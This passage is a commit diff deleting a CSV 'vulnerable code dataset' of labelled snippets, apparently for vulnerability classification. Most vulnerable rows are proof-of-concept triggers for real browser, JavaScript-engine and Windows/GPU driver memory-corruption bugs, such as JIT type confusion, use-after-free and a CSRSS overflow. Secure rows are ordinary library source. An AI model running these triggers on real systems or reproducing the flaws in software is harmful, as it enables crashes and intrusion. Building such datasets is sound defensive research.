Commit
·
d057579
1
Parent(s):
5098f9e
Delete Vulnerable code dataset 15_12_22 - Training_test.csv
Browse files
Vulnerable code dataset 15_12_22 - Training_test.csv
DELETED
|
@@ -1,1234 +0,0 @@
|
|
| 1 |
-
text (string),label (class label)
|
| 2 |
-
"function foo(bug) {
|
| 3 |
-
function C(z) {
|
| 4 |
-
Error.prepareStackTrace = function(t, B) {
|
| 5 |
-
return B[z].getThis();
|
| 6 |
-
};
|
| 7 |
-
let p = Error().stack;
|
| 8 |
-
Error.prepareStackTrace = null;
|
| 9 |
-
return p;
|
| 10 |
-
}
|
| 11 |
-
function J() {}
|
| 12 |
-
var optim = false;
|
| 13 |
-
var opt = new Function(
|
| 14 |
-
'a', 'b', 'c',
|
| 15 |
-
'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' +
|
| 16 |
-
'g++;'.repeat(70));
|
| 17 |
-
var e = null;
|
| 18 |
-
J.prototype.d = new Function(
|
| 19 |
-
'a', 'b', '""use strict"";b.a.call(arguments,b);return arguments[a];');
|
| 20 |
-
J.prototype.a = new Function('a', 'a.b(0,a)');
|
| 21 |
-
J.prototype.b = new Function(
|
| 22 |
-
'a', 'b',
|
| 23 |
-
'b.c();if(a){' +
|
| 24 |
-
'g++;'.repeat(70) + '}');
|
| 25 |
-
J.prototype.c = function() {
|
| 26 |
-
if (optim) {
|
| 27 |
-
var z = C(3);
|
| 28 |
-
var p = C(3);
|
| 29 |
-
z[0] = 0;
|
| 30 |
-
e = {M: z, C: p};
|
| 31 |
-
}
|
| 32 |
-
};
|
| 33 |
-
var a = new J();
|
| 34 |
-
// jit optim
|
| 35 |
-
if (bug) {
|
| 36 |
-
for (var V = 0; 1E4 > V; V++) {
|
| 37 |
-
opt(0 == V % 4 ? 1 : 4, a, 1);
|
| 38 |
-
}
|
| 39 |
-
}
|
| 40 |
-
optim = true;
|
| 41 |
-
opt(1, a, 1);
|
| 42 |
-
return e;
|
| 43 |
-
}
|
| 44 |
-
|
| 45 |
-
e1 = foo(false);
|
| 46 |
-
console.log(e1.M === e1.C); // prints true.
|
| 47 |
-
e2 = foo(true);
|
| 48 |
-
console.log(e2.M === e2.C); // should be true as above but prints false.",0 (vulnerable)
|
| 49 |
-
"<html>
|
| 50 |
-
<head>
|
| 51 |
-
<script>
|
| 52 |
-
|
| 53 |
-
var canvas = document.createElement('canvas');
|
| 54 |
-
|
| 55 |
-
function createConnection() {
|
| 56 |
-
var pc = new RTCPeerConnection({
|
| 57 |
-
iceServers: [],
|
| 58 |
-
iceTransportPolicy: 'relay'
|
| 59 |
-
});
|
| 60 |
-
|
| 61 |
-
var encodings = [];
|
| 62 |
-
for (var i = 0; i < 2; i++) {
|
| 63 |
-
encodings.push({ rid: String.fromCharCode(97 + i) });// rid must be alphabetic and unique
|
| 64 |
-
}
|
| 65 |
-
pc.addTransceiver(canvas.captureStream(0).getTracks()[0], { sendEncodings: encodings });
|
| 66 |
-
return pc;
|
| 67 |
-
}
|
| 68 |
-
|
| 69 |
-
|
| 70 |
-
function sdp_munge(offer) {
|
| 71 |
-
let sdp = offer.sdp;
|
| 72 |
-
sdp = sdp.replace(/\r?\na=rid:(.+)\s+send\r?\na=simulcast:send\s+.+;\1/, '');
|
| 73 |
-
offer.sdp = sdp;
|
| 74 |
-
return offer;
|
| 75 |
-
}
|
| 76 |
-
|
| 77 |
-
|
| 78 |
-
async function trigger(pc) {
|
| 79 |
-
var pc = createConnection(); // create an WebRTC connection with
|
| 80 |
-
var offer = await pc.createOffer(); // create an offer
|
| 81 |
-
var munged_offer = sdp_munge(offer); // remove one of the send_codecs_ from the offer
|
| 82 |
-
await pc.setLocalDescription(munged_offer); // set the local description with the sdp
|
| 83 |
-
}
|
| 84 |
-
|
| 85 |
-
|
| 86 |
-
trigger();
|
| 87 |
-
|
| 88 |
-
|
| 89 |
-
</script>
|
| 90 |
-
</head>
|
| 91 |
-
</html>",0 (vulnerable)
|
| 92 |
-
"__int64 __fastcall CClfsBaseFilePersisted::RemoveContainer(CClfsBaseFilePersisted *this, unsigned int a2)
|
| 93 |
-
{
|
| 94 |
-
...
|
| 95 |
-
v11 = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this);
|
| 96 |
-
v9 = v11;
|
| 97 |
-
v16 = v11;
|
| 98 |
-
if ( v11 >= 0 )
|
| 99 |
-
{
|
| 100 |
-
pContainer = *((_QWORD *)containerContext + 3);
|
| 101 |
-
if ( pContainer )
|
| 102 |
-
{
|
| 103 |
-
*((_QWORD *)containerContext + 3) = 0i64;
|
| 104 |
-
ExReleaseResourceForThreadLite(*((PERESOURCE *)this + 4), (ERESOURCE_THREAD)KeGetCurrentThread());
|
| 105 |
-
v4 = 0;
|
| 106 |
-
(*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 0x18i64))(pContainer); // remove method
|
| 107 |
-
(*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 8i64))(pContainer); // release method
|
| 108 |
-
v9 = v16;
|
| 109 |
-
goto LABEL_20;
|
| 110 |
-
}
|
| 111 |
-
goto LABEL_19;
|
| 112 |
-
}
|
| 113 |
-
...
|
| 114 |
-
} v44 = *((_DWORD *)containerContext + 5); // to trigger RemoveContainer one should set this field to -1
|
| 115 |
-
if ( v44 == -1 )
|
| 116 |
-
{
|
| 117 |
-
*((_QWORD *)containerContext + 3) = 0i64; // pContainer is set to NULL
|
| 118 |
-
v20 = CClfsBaseFilePersisted::RemoveContainer(this, v34);
|
| 119 |
-
v72 = v20;
|
| 120 |
-
if ( v20 < 0 )
|
| 121 |
-
goto LABEL_134;
|
| 122 |
-
v23 = v78;
|
| 123 |
-
v34 = (unsigned int)(v34 + 1);
|
| 124 |
-
v79 = v34;
|
| 125 |
-
} ...
|
| 126 |
-
// Obtain all container contexts represented in blf
|
| 127 |
-
// save pContainer class pointer for each valid container context
|
| 128 |
-
for ( i = 0; i < 0x400; ++i )
|
| 129 |
-
{
|
| 130 |
-
v20 = CClfsBaseFile::AcquireContainerContext(this, i, &v22);
|
| 131 |
-
v15 = (char *)this + 8 * i;
|
| 132 |
-
if ( v20 >= 0 )
|
| 133 |
-
{
|
| 134 |
-
v16 = v22;
|
| 135 |
-
*((_QWORD *)v15 + 56) = *((_QWORD *)v22 + 3); // for each valid container save pContainer
|
| 136 |
-
*((_QWORD *)v16 + 3) = 0i64; // and set the initial pContainer to zero
|
| 137 |
-
CClfsBaseFile::ReleaseContainerContext(this, &v22);
|
| 138 |
-
}
|
| 139 |
-
else
|
| 140 |
-
{
|
| 141 |
-
*((_QWORD *)v15 + 56) = 0i64;
|
| 142 |
-
}
|
| 143 |
-
}
|
| 144 |
-
// Stage [1] enode block, prepare it for writing
|
| 145 |
-
ClfsEncodeBlock(
|
| 146 |
-
(struct _CLFS_LOG_BLOCK_HEADER *)v9,
|
| 147 |
-
*(unsigned __int16 *)(v9 + 4) << 9,
|
| 148 |
-
*(_BYTE *)(v9 + 2),
|
| 149 |
-
0x10u,
|
| 150 |
-
1u);
|
| 151 |
-
// write modified data
|
| 152 |
-
v10 = CClfsContainer::WriteSector(
|
| 153 |
-
*((CClfsContainer **)this + 19),
|
| 154 |
-
*((struct _KEVENT **)this + 20),
|
| 155 |
-
0i64,
|
| 156 |
-
*(void **)(*((_QWORD *)this + 6) + 24 * v8),
|
| 157 |
-
*(unsigned __int16 *)(v9 + 4),
|
| 158 |
-
&v23);
|
| 159 |
-
...
|
| 160 |
-
if ( v7 )
|
| 161 |
-
{
|
| 162 |
-
// Stage [2] Decode file again for futher processing in clfs.sys
|
| 163 |
-
ClfsDecodeBlock((struct _CLFS_LOG_BLOCK_HEADER *)v9, *(unsigned __int16 *)(v9 + 4), *(_BYTE *)(v9 + 2), 0x10u, &v21);
|
| 164 |
-
// optain new pContainer class pointer
|
| 165 |
-
v17 = (_QWORD *)((char *)this + 448);
|
| 166 |
-
do
|
| 167 |
-
{
|
| 168 |
-
// Stage [3] for each valid container
|
| 169 |
-
// update pContainer field
|
| 170 |
-
if ( *v17 && (int)CClfsBaseFile::AcquireContainerContext(this, v6, &v22) >= 0 )
|
| 171 |
-
{
|
| 172 |
-
*((_QWORD *)v22 + 3) = *v17;
|
| 173 |
-
CClfsBaseFile::ReleaseContainerContext(this, &v22);
|
| 174 |
-
}
|
| 175 |
-
++v6;
|
| 176 |
-
++v17;
|
| 177 |
-
}
|
| 178 |
-
while ( v6 < 0x400 );
|
| 179 |
-
}
|
| 180 |
-
...",0 (vulnerable)
|
| 181 |
-
"static struct kbase_va_region *kbase_mem_from_user_buffer(
|
| 182 |
-
struct kbase_context *kctx, unsigned long address,
|
| 183 |
-
unsigned long size, u64 *va_pages, u64 *flags)
|
| 184 |
-
{
|
| 185 |
-
[...]
|
| 186 |
-
+ int write;
|
| 187 |
-
[...]
|
| 188 |
-
+ write = reg->flags & (KBASE_REG_CPU_WR | KBASE_REG_GPU_WR);
|
| 189 |
-
+
|
| 190 |
-
#if KERNEL_VERSION(4, 6, 0) > LINUX_VERSION_CODE
|
| 191 |
-
faulted_pages = get_user_pages(current, current->mm, address, *va_pages,
|
| 192 |
-
#if KERNEL_VERSION(4, 4, 168) <= LINUX_VERSION_CODE && \
|
| 193 |
-
KERNEL_VERSION(4, 5, 0) > LINUX_VERSION_CODE
|
| 194 |
-
- reg->flags & KBASE_REG_CPU_WR ? FOLL_WRITE : 0,
|
| 195 |
-
- pages, NULL);
|
| 196 |
-
+ write ? FOLL_WRITE : 0, pages, NULL);
|
| 197 |
-
#else
|
| 198 |
-
- reg->flags & KBASE_REG_CPU_WR, 0, pages, NULL);
|
| 199 |
-
+ write, 0, pages, NULL);
|
| 200 |
-
#endif
|
| 201 |
-
#elif KERNEL_VERSION(4, 9, 0) > LINUX_VERSION_CODE
|
| 202 |
-
faulted_pages = get_user_pages(address, *va_pages,
|
| 203 |
-
- reg->flags & KBASE_REG_CPU_WR, 0, pages, NULL);
|
| 204 |
-
+ write, 0, pages, NULL);
|
| 205 |
-
#else
|
| 206 |
-
faulted_pages = get_user_pages(address, *va_pages,
|
| 207 |
-
- reg->flags & KBASE_REG_CPU_WR ? FOLL_WRITE : 0,
|
| 208 |
-
- pages, NULL);
|
| 209 |
-
+ write ? FOLL_WRITE : 0, pages, NULL);
|
| 210 |
-
#endif",0 (vulnerable)
|
| 211 |
-
"input = document.body.appendChild(document.createElement(""input""));
|
| 212 |
-
|
| 213 |
-
foo = document.body.appendChild(document.createElement(""a""));
|
| 214 |
-
foo.id = ""foo"";
|
| 215 |
-
|
| 216 |
-
// Go to state1 when history.back is called
|
| 217 |
-
// The URL needs to be <currentPage+hash> to trigger loadInSameDocument during the call to back()
|
| 218 |
-
// Since the foo's element id=""foo"", focus will change to that element
|
| 219 |
-
history.pushState(""state1"", """", location + ""#foo"");
|
| 220 |
-
|
| 221 |
-
// Current state = state2
|
| 222 |
-
history.pushState(""state2"", """");
|
| 223 |
-
|
| 224 |
-
setTimeout(() => {
|
| 225 |
-
|
| 226 |
-
// Set the focus on the input element.
|
| 227 |
-
// During the call to back() the focus will change to the foo element
|
| 228 |
-
// and therefore triggering the blur event on the input element
|
| 229 |
-
input.focus();
|
| 230 |
-
input.onblur = () => history.replaceState(""state3"", """");
|
| 231 |
-
setTimeout(() => history.back(), 1000);
|
| 232 |
-
}, 1000);",0 (vulnerable)
|
| 233 |
-
"var initKey = {init : 1};
|
| 234 |
-
var level = 4;
|
| 235 |
-
var map1 = new WeakMap();
|
| 236 |
-
|
| 237 |
-
function hideWeakMap(map, level, initKey) {
|
| 238 |
-
let prevMap = map;
|
| 239 |
-
let prevKey = initKey;
|
| 240 |
-
for (let i = 0; i < level; i++) {
|
| 241 |
-
let thisMap = new WeakMap();
|
| 242 |
-
prevMap.set(prevKey, thisMap);
|
| 243 |
-
let thisKey = {'h' : i};
|
| 244 |
-
thisMap.set(prevKey, thisKey);
|
| 245 |
-
prevMap = thisMap;
|
| 246 |
-
prevKey = thisKey;
|
| 247 |
-
if (i == level - 1) {
|
| 248 |
-
let retMap = new WeakMap();
|
| 249 |
-
map.set(thisKey, retMap);
|
| 250 |
-
return thisKey;
|
| 251 |
-
}
|
| 252 |
-
}
|
| 253 |
-
}
|
| 254 |
-
|
| 255 |
-
function getHiddenKey(map, level, initKey) {
|
| 256 |
-
let prevMap = map;
|
| 257 |
-
let prevKey = initKey;
|
| 258 |
-
for (let i = 0; i < level; i++) {
|
| 259 |
-
let thisMap = prevMap.get(prevKey);
|
| 260 |
-
let thisKey = thisMap.get(prevKey);
|
| 261 |
-
prevMap = thisMap;
|
| 262 |
-
prevKey = thisKey;
|
| 263 |
-
if (i == level - 1) {
|
| 264 |
-
return thisKey;
|
| 265 |
-
}
|
| 266 |
-
}
|
| 267 |
-
}
|
| 268 |
-
|
| 269 |
-
function setUpWeakMap(map) {
|
| 270 |
-
let hk = hideWeakMap(map, level, initKey);
|
| 271 |
-
let hiddenMap = map.get(hk);
|
| 272 |
-
let map7 = new WeakMap();
|
| 273 |
-
let map8 = new WeakMap();
|
| 274 |
-
let k5 = {k5 : 1};
|
| 275 |
-
let map5 = new WeakMap();
|
| 276 |
-
let k7 = {k7 : 1};
|
| 277 |
-
let k9 = {k9 : 1};
|
| 278 |
-
let k8 = {k8 : 1};
|
| 279 |
-
let v9 = {};
|
| 280 |
-
map.set(k7, map7);
|
| 281 |
-
map.set(k9, v9);
|
| 282 |
-
hiddenMap.set(k5, map5);
|
| 283 |
-
hiddenMap.set(hk, k5);
|
| 284 |
-
map5.set(hk, k7);
|
| 285 |
-
map7.set(k8, map8);
|
| 286 |
-
map7.set(k7, k8);
|
| 287 |
-
map8.set(k8,k9);
|
| 288 |
-
|
| 289 |
-
}
|
| 290 |
-
|
| 291 |
-
function main() {
|
| 292 |
-
setUpWeakMap(map1);
|
| 293 |
-
|
| 294 |
-
new ArrayBuffer(0x7fe00000);
|
| 295 |
-
let hiddenKey = getHiddenKey(map1, level, initKey);
|
| 296 |
-
let hiddenMap = map1.get(hiddenKey);
|
| 297 |
-
let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
|
| 298 |
-
let k8 = map1.get(k7).get(k7);
|
| 299 |
-
let map8 = map1.get(k7).get(k8);
|
| 300 |
-
|
| 301 |
-
console.log(map1.get(map8.get(k8)));
|
| 302 |
-
}
|
| 303 |
-
|
| 304 |
-
while (true) {
|
| 305 |
-
try {
|
| 306 |
-
main();
|
| 307 |
-
} catch (err) {}
|
| 308 |
-
}",0 (vulnerable)
|
| 309 |
-
"function store(y) {
|
| 310 |
-
x = y;
|
| 311 |
-
}
|
| 312 |
-
|
| 313 |
-
function load() {
|
| 314 |
-
return x.b;
|
| 315 |
-
}
|
| 316 |
-
|
| 317 |
-
var x = {a : 1};
|
| 318 |
-
var x1 = {a : 2};
|
| 319 |
-
var x2 = {a : 3};
|
| 320 |
-
var x3 = {a : 4};
|
| 321 |
-
|
| 322 |
-
store(x1);
|
| 323 |
-
%PrepareFunctionForOptimization(store);
|
| 324 |
-
store(x2);
|
| 325 |
-
|
| 326 |
-
x1.b = 1;
|
| 327 |
-
|
| 328 |
-
%OptimizeFunctionOnNextCall(store);
|
| 329 |
-
store(x2);
|
| 330 |
-
|
| 331 |
-
x.b = 1;
|
| 332 |
-
|
| 333 |
-
%PrepareFunctionForOptimization(load);
|
| 334 |
-
load();
|
| 335 |
-
|
| 336 |
-
%OptimizeFunctionOnNextCall(load);
|
| 337 |
-
load();
|
| 338 |
-
|
| 339 |
-
store(x3);
|
| 340 |
-
|
| 341 |
-
%DebugPrint(load());",0 (vulnerable)
|
| 342 |
-
"global_object = {};
|
| 343 |
-
|
| 344 |
-
setPropertyViaEmbed = (object, value, handler) => {
|
| 345 |
-
const embed = document.createElement('embed');
|
| 346 |
-
embed.onload = handler;
|
| 347 |
-
embed.type = 'text/html';
|
| 348 |
-
Object.setPrototypeOf(global_object, embed);
|
| 349 |
-
document.body.appendChild(embed);
|
| 350 |
-
object.corrupted_prop = value;
|
| 351 |
-
embed.remove();
|
| 352 |
-
}
|
| 353 |
-
|
| 354 |
-
createCorruptedPair = (value_1, value_2) => {
|
| 355 |
-
const object_1 = {
|
| 356 |
-
__proto__: global_object
|
| 357 |
-
};
|
| 358 |
-
object_1.regular_prop = 1;
|
| 359 |
-
|
| 360 |
-
setPropertyViaEmbed(object_1, value_2, () => {
|
| 361 |
-
Object.setPrototypeOf(global_object, null);
|
| 362 |
-
object_1.corrupted_prop = value_1;
|
| 363 |
-
});
|
| 364 |
-
|
| 365 |
-
const object_2 = {
|
| 366 |
-
__proto__: global_object
|
| 367 |
-
};
|
| 368 |
-
object_2.regular_prop = 1;
|
| 369 |
-
|
| 370 |
-
setPropertyViaEmbed(object_2, value_2, () => {
|
| 371 |
-
Object.setPrototypeOf(global_object, null);
|
| 372 |
-
object_2.corrupted_prop = value_1;
|
| 373 |
-
object_1.regular_prop = 1.1
|
| 374 |
-
});
|
| 375 |
-
return [object_1, object_2];
|
| 376 |
-
}
|
| 377 |
-
|
| 378 |
-
const array = [1.1];
|
| 379 |
-
array.prop = 1;
|
| 380 |
-
const [object_1, object_2] = createCorruptedPair(array, 2261620.509803918);
|
| 381 |
-
|
| 382 |
-
jit = (object) => {
|
| 383 |
-
return object.corrupted_prop[0];
|
| 384 |
-
}
|
| 385 |
-
for (var i = 0; i < 100000; ++i)
|
| 386 |
-
jit(object_1);
|
| 387 |
-
jit(object_2);",0 (vulnerable)
|
| 388 |
-
"int SetBlendDesignPositions(void *arg) {
|
| 389 |
-
int num_master;
|
| 390 |
-
Fixed16_16 values[16][15];
|
| 391 |
-
|
| 392 |
-
for (num_master = 0; ; num_master++) {
|
| 393 |
-
if (GetToken() != TOKEN_OPEN) {
|
| 394 |
-
break;
|
| 395 |
-
}
|
| 396 |
-
|
| 397 |
-
int values_read = GetOpenFixedArray(&values[num_master], 15);
|
| 398 |
-
SetNumAxes(values_read);
|
| 399 |
-
}
|
| 400 |
-
|
| 401 |
-
SetNumMasters(num_master);
|
| 402 |
-
|
| 403 |
-
for (int i = 0; i < num_master; i++) {
|
| 404 |
-
procs->BlendDesignPositions(i, &values[i]);
|
| 405 |
-
}
|
| 406 |
-
|
| 407 |
-
|
| 408 |
-
return 0;
|
| 409 |
-
}",0 (vulnerable)
|
| 410 |
-
"#include <stdint.h>
|
| 411 |
-
#include <stdio.h>
|
| 412 |
-
#include <windows.h>
|
| 413 |
-
#include <string>
|
| 414 |
-
|
| 415 |
-
const char* MANIFEST_CONTENTS =
|
| 416 |
-
""<?xml version='1.0' encoding='UTF-8' standalone='yes'?>""
|
| 417 |
-
""<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>""
|
| 418 |
-
""<assemblyIdentity name='@' version='1.0.0.0' type='win32' ""
|
| 419 |
-
""processorArchitecture='amd64'/>""
|
| 420 |
-
""</assembly>"";
|
| 421 |
-
|
| 422 |
-
const WCHAR* NULL_BYTE_STR = L""\x00\x00"";
|
| 423 |
-
const WCHAR* MANIFEST_NAME =
|
| 424 |
-
L""msil_system.data.sqlxml.resources_b77a5c561934e061_3.0.4100.17061_en-us_""
|
| 425 |
-
L""d761caeca23d64a2.manifest"";
|
| 426 |
-
const WCHAR* PATH = L""\\\\.\\c:Windows\\"";
|
| 427 |
-
const WCHAR* MODULE = L""System.Data.SqlXml.Resources"";
|
| 428 |
-
|
| 429 |
-
typedef PVOID(__stdcall* f_CsrAllocateCaptureBuffer)(ULONG ArgumentCount,
|
| 430 |
-
ULONG BufferSize);
|
| 431 |
-
f_CsrAllocateCaptureBuffer CsrAllocateCaptureBuffer;
|
| 432 |
-
|
| 433 |
-
typedef NTSTATUS(__stdcall* f_CsrClientCallServer)(PVOID ApiMessage,
|
| 434 |
-
PVOID CaptureBuffer,
|
| 435 |
-
ULONG ApiNumber,
|
| 436 |
-
ULONG DataLength);
|
| 437 |
-
f_CsrClientCallServer CsrClientCallServer;
|
| 438 |
-
|
| 439 |
-
typedef NTSTATUS(__stdcall* f_CsrCaptureMessageString)(LPVOID CaptureBuffer,
|
| 440 |
-
PCSTR String,
|
| 441 |
-
ULONG Length,
|
| 442 |
-
ULONG MaximumLength,
|
| 443 |
-
PSTR OutputString);
|
| 444 |
-
f_CsrCaptureMessageString CsrCaptureMessageString;
|
| 445 |
-
|
| 446 |
-
NTSTATUS CaptureUnicodeString(LPVOID CaptureBuffer, PSTR OutputString,
|
| 447 |
-
PCWSTR String, ULONG Length = 0) {
|
| 448 |
-
if (Length == 0) {
|
| 449 |
-
Length = lstrlenW(String);
|
| 450 |
-
}
|
| 451 |
-
return CsrCaptureMessageString(CaptureBuffer, (PCSTR)String, Length * 2,
|
| 452 |
-
Length * 2 + 2, OutputString);
|
| 453 |
-
}
|
| 454 |
-
|
| 455 |
-
int main() {
|
| 456 |
-
HMODULE Ntdll = LoadLibrary(L""Ntdll.dll"");
|
| 457 |
-
CsrAllocateCaptureBuffer = (f_CsrAllocateCaptureBuffer)GetProcAddress(
|
| 458 |
-
Ntdll, ""CsrAllocateCaptureBuffer"");
|
| 459 |
-
CsrClientCallServer =
|
| 460 |
-
(f_CsrClientCallServer)GetProcAddress(Ntdll, ""CsrClientCallServer"");
|
| 461 |
-
CsrCaptureMessageString = (f_CsrCaptureMessageString)GetProcAddress(
|
| 462 |
-
Ntdll, ""CsrCaptureMessageString"");
|
| 463 |
-
|
| 464 |
-
char Message[0x220];
|
| 465 |
-
memset(Message, 0, 0x220);
|
| 466 |
-
|
| 467 |
-
PVOID CaptureBuffer = CsrAllocateCaptureBuffer(4, 0x300);
|
| 468 |
-
|
| 469 |
-
std::string Manifest = MANIFEST_CONTENTS;
|
| 470 |
-
Manifest.replace(Manifest.find('@'), 1, 0x2000, 'A');
|
| 471 |
-
|
| 472 |
-
// There's no public definition of the relevant CSR_API_MSG structure.
|
| 473 |
-
// The offsets and values are taken directly from the exploit.
|
| 474 |
-
*(uint32_t*)(Message + 0x40) = 0xc1;
|
| 475 |
-
*(uint16_t*)(Message + 0x44) = 9;
|
| 476 |
-
*(uint16_t*)(Message + 0x59) = 0x201;
|
| 477 |
-
|
| 478 |
-
// CSRSS loads the manifest contents from the client process memory;
|
| 479 |
-
// therefore, it doesn't have to be stored in the capture buffer.
|
| 480 |
-
*(const char**)(Message + 0x80) = Manifest.c_str();
|
| 481 |
-
*(uint64_t*)(Message + 0x88) = Manifest.size();
|
| 482 |
-
*(uint64_t*)(Message + 0xf0) = 1;
|
| 483 |
-
|
| 484 |
-
CaptureUnicodeString(CaptureBuffer, Message + 0x48, NULL_BYTE_STR, 2);
|
| 485 |
-
CaptureUnicodeString(CaptureBuffer, Message + 0x60, MANIFEST_NAME);
|
| 486 |
-
CaptureUnicodeString(CaptureBuffer, Message + 0xc8, PATH);
|
| 487 |
-
CaptureUnicodeString(CaptureBuffer, Message + 0x120, MODULE);
|
| 488 |
-
|
| 489 |
-
// Triggers the issue by setting ApplicationName.MaxLength to a large value.
|
| 490 |
-
*(uint16_t*)(Message + 0x122) = 0x8000;
|
| 491 |
-
|
| 492 |
-
CsrClientCallServer(Message, CaptureBuffer, 0x10017, 0xf0);
|
| 493 |
-
}",0 (vulnerable)
|
| 494 |
-
"#include ""gtest/internal/gtest-filepath.h""
|
| 495 |
-
|
| 496 |
-
#include <stdlib.h>
|
| 497 |
-
|
| 498 |
-
#include ""gtest/gtest-message.h""
|
| 499 |
-
#include ""gtest/internal/gtest-port.h""
|
| 500 |
-
|
| 501 |
-
#if GTEST_OS_WINDOWS_MOBILE
|
| 502 |
-
#include <windows.h>
|
| 503 |
-
#elif GTEST_OS_WINDOWS
|
| 504 |
-
#include <direct.h>
|
| 505 |
-
#include <io.h>
|
| 506 |
-
#else
|
| 507 |
-
#include <limits.h>
|
| 508 |
-
|
| 509 |
-
#include <climits> // Some Linux distributions define PATH_MAX here.
|
| 510 |
-
#endif // GTEST_OS_WINDOWS_MOBILE
|
| 511 |
-
|
| 512 |
-
#include ""gtest/internal/gtest-string.h""
|
| 513 |
-
|
| 514 |
-
#if GTEST_OS_WINDOWS
|
| 515 |
-
#define GTEST_PATH_MAX_ _MAX_PATH
|
| 516 |
-
#elif defined(PATH_MAX)
|
| 517 |
-
#define GTEST_PATH_MAX_ PATH_MAX
|
| 518 |
-
#elif defined(_XOPEN_PATH_MAX)
|
| 519 |
-
#define GTEST_PATH_MAX_ _XOPEN_PATH_MAX
|
| 520 |
-
#else
|
| 521 |
-
#define GTEST_PATH_MAX_ _POSIX_PATH_MAX
|
| 522 |
-
#endif // GTEST_OS_WINDOWS
|
| 523 |
-
|
| 524 |
-
namespace testing {
|
| 525 |
-
namespace internal {
|
| 526 |
-
|
| 527 |
-
#if GTEST_OS_WINDOWS
|
| 528 |
-
// On Windows, '\\' is the standard path separator, but many tools and the
|
| 529 |
-
// Windows API also accept '/' as an alternate path separator. Unless otherwise
|
| 530 |
-
// noted, a file path can contain either kind of path separators, or a mixture
|
| 531 |
-
// of them.
|
| 532 |
-
const char kPathSeparator = '\\';
|
| 533 |
-
const char kAlternatePathSeparator = '/';
|
| 534 |
-
const char kAlternatePathSeparatorString[] = ""/"";
|
| 535 |
-
#if GTEST_OS_WINDOWS_MOBILE
|
| 536 |
-
// Windows CE doesn't have a current directory. You should not use
|
| 537 |
-
// the current directory in tests on Windows CE, but this at least
|
| 538 |
-
// provides a reasonable fallback.
|
| 539 |
-
const char kCurrentDirectoryString[] = ""\\"";
|
| 540 |
-
// Windows CE doesn't define INVALID_FILE_ATTRIBUTES
|
| 541 |
-
const DWORD kInvalidFileAttributes = 0xffffffff;
|
| 542 |
-
#else
|
| 543 |
-
const char kCurrentDirectoryString[] = "".\\"";
|
| 544 |
-
#endif // GTEST_OS_WINDOWS_MOBILE
|
| 545 |
-
#else
|
| 546 |
-
const char kPathSeparator = '/';
|
| 547 |
-
const char kCurrentDirectoryString[] = ""./"";
|
| 548 |
-
#endif // GTEST_OS_WINDOWS
|
| 549 |
-
|
| 550 |
-
// Returns whether the given character is a valid path separator.
|
| 551 |
-
static bool IsPathSeparator(char c) {
|
| 552 |
-
#if GTEST_HAS_ALT_PATH_SEP_
|
| 553 |
-
return (c == kPathSeparator) || (c == kAlternatePathSeparator);
|
| 554 |
-
#else
|
| 555 |
-
return c == kPathSeparator;
|
| 556 |
-
#endif
|
| 557 |
-
}
|
| 558 |
-
|
| 559 |
-
// Returns the current working directory, or """" if unsuccessful.
|
| 560 |
-
FilePath FilePath::GetCurrentDir() {
|
| 561 |
-
#if GTEST_OS_WINDOWS_MOBILE || GTEST_OS_WINDOWS_PHONE || \
|
| 562 |
-
GTEST_OS_WINDOWS_RT || GTEST_OS_ESP8266 || GTEST_OS_ESP32 || \
|
| 563 |
-
GTEST_OS_XTENSA || GTEST_OS_QURT
|
| 564 |
-
// These platforms do not have a current directory, so we just return
|
| 565 |
-
// something reasonable.
|
| 566 |
-
return FilePath(kCurrentDirectoryString);
|
| 567 |
-
#elif GTEST_OS_WINDOWS
|
| 568 |
-
char cwd[GTEST_PATH_MAX_ + 1] = {'\0'};
|
| 569 |
-
return FilePath(_getcwd(cwd, sizeof(cwd)) == nullptr ? """" : cwd);
|
| 570 |
-
#else
|
| 571 |
-
char cwd[GTEST_PATH_MAX_ + 1] = {'\0'};
|
| 572 |
-
char* result = getcwd(cwd, sizeof(cwd));
|
| 573 |
-
#if GTEST_OS_NACL
|
| 574 |
-
// getcwd will likely fail in NaCl due to the sandbox, so return something
|
| 575 |
-
// reasonable. The user may have provided a shim implementation for getcwd,
|
| 576 |
-
// however, so fallback only when failure is detected.
|
| 577 |
-
return FilePath(result == nullptr ? kCurrentDirectoryString : cwd);
|
| 578 |
-
#endif // GTEST_OS_NACL
|
| 579 |
-
return FilePath(result == nullptr ? """" : cwd);
|
| 580 |
-
#endif // GTEST_OS_WINDOWS_MOBILE
|
| 581 |
-
}",1 (secure)
|
| 582 |
-
"#pragma once
|
| 583 |
-
|
| 584 |
-
#include <Core/Types.h>
|
| 585 |
-
#include <Common/Exception.h>
|
| 586 |
-
#include <Common/intExp.h>
|
| 587 |
-
#include <base/arithmeticOverflow.h>
|
| 588 |
-
|
| 589 |
-
#include <limits>
|
| 590 |
-
#include <type_traits>
|
| 591 |
-
|
| 592 |
-
|
| 593 |
-
namespace DB
|
| 594 |
-
{
|
| 595 |
-
|
| 596 |
-
template <typename T>
|
| 597 |
-
class DataTypeNumber;
|
| 598 |
-
|
| 599 |
-
namespace ErrorCodes
|
| 600 |
-
{
|
| 601 |
-
extern const int DECIMAL_OVERFLOW;
|
| 602 |
-
extern const int ARGUMENT_OUT_OF_BOUND;
|
| 603 |
-
}
|
| 604 |
-
|
| 605 |
-
namespace DecimalUtils
|
| 606 |
-
{
|
| 607 |
-
|
| 608 |
-
inline constexpr size_t min_precision = 1;
|
| 609 |
-
template <typename T> inline constexpr size_t max_precision = 0;
|
| 610 |
-
template <> inline constexpr size_t max_precision<Decimal32> = 9;
|
| 611 |
-
template <> inline constexpr size_t max_precision<Decimal64> = 18;
|
| 612 |
-
template <> inline constexpr size_t max_precision<DateTime64> = 18;
|
| 613 |
-
template <> inline constexpr size_t max_precision<Decimal128> = 38;
|
| 614 |
-
template <> inline constexpr size_t max_precision<Decimal256> = 76;
|
| 615 |
-
|
| 616 |
-
template <typename T>
|
| 617 |
-
inline auto scaleMultiplier(UInt32 scale)
|
| 618 |
-
{
|
| 619 |
-
if constexpr (std::is_same_v<T, Int32> || std::is_same_v<T, Decimal32>)
|
| 620 |
-
return common::exp10_i32(scale);
|
| 621 |
-
else if constexpr (std::is_same_v<T, Int64> || std::is_same_v<T, Decimal64> || std::is_same_v<T, DateTime64>)
|
